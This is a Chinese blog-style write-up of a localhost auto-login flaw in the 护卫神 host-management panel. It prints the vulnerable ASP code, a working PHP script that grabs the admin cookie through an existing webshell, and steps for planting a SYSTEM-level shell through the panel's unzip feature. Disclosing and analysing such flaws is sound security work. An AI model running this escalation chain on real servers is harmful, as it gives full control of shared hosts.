护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)

简介: “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。

 “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。”

这话说的有点绝对性,做安全是没有绝对的安全的,如果哪家做安全的敢那样说,绝对不会出问题那肯定是在对客户的不负责任。安全是相对的,需要知己知彼 双方的配合以及安全的不断完善化才能把安全做道最大化的保障。

 

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

点开之后就直接进去了,WTF?

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<% Dim strIp strIp = Request.ServerVariables("local_addr") Dim strAuto strAuto = LCase(Trim(Request.QueryString("f"))) If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin" Then '获取管理用户登录 Dim sql,rs call conn_open() Set rs = Server.CreateObject("Adodb.Recordset") sql = "select top 1 * from [huweishen_Admin]" rs.Open sql,conn,1,1 if rs.RecordCount = 0 then Session("admin")= "autologin" else Session("admin") = rs("username") end if rs.Close Session.Timeout =600 AddLog Session("admin"), 1, "控制台直接登录管理中心" Response.Redirect "index.asp" End If %> 

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

 

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() { $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_TIMEOUT, 120); $result = curl_exec($ch); return $result; } echo httpGet(); ?> 

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

 

直接访问需要登录

通过脚本获取cookie

修改cookie后直接访问/admin/index.asp,进入后台

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

 

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.
相关文章
|
27天前
|
域名解析 安全 网络协议
技术经验解读:使用Winmail架设无病毒邮件系统全攻略(转载)
技术经验解读:使用Winmail架设无病毒邮件系统全攻略(转载)
11 2
|
29天前
|
安全 Linux Python
【安全狗】linux免费服务器防护软件安全狗详细安装教程
【安全狗】linux免费服务器防护软件安全狗详细安装教程
33 0
|
2月前
|
SQL 安全 关系型数据库
01WEB漏洞环境搭建
【1月更文挑战第4天】给单位零基础小伙伴准备的网安入门教程,本教程是基于蚁景实验室搭建,基于自建虚拟机搭建需自行准备前置环境,01WEB漏洞环境搭建
|
监控 数据安全/隐私保护 网络架构
网工小白升级打怪篇(二)telnet实现远程管理
网工小白升级打怪篇(二)telnet实现远程管理
165 0
网工小白升级打怪篇(二)telnet实现远程管理
|
存储 自然语言处理 安全
MobaXterm:“十项全能”的远程终端登录软件 【开源硬件佳软介绍 #1】
PuTTY足够成熟、小巧、专注核心任务,并且对编码等常见坑的处理并不缺乏,这其实都是优点。但PuTTY在额外功能上就同时缺了一些,例如直接SFTP文件传输、标签页切换等。 所以这里推荐一款豪华、全功能的终端软件MobaXterm。它不仅可以像PuTTY一样通过SSH连接Raspberry Pi等开源硬件,并且还能:
681 0
MobaXterm:“十项全能”的远程终端登录软件 【开源硬件佳软介绍 #1】
|
安全 数据安全/隐私保护
护卫神主机大师或者是主机管理系统中创建网站时提示开设失败的解决办法
阿里云默认的系统一般会开启密码复杂度的功能,这样在使用护卫神主机大师或者是主机管理系统开设网站时,填写的密码如不符合系统的复杂度要求。
4287 0
|
弹性计算 安全 数据安全/隐私保护
阿里云主机如何安装护卫神镜像
ECS云服务器上如何安装护卫神镜像
6417 0
|
SQL 安全 Shell
护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)
 “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。
2046 0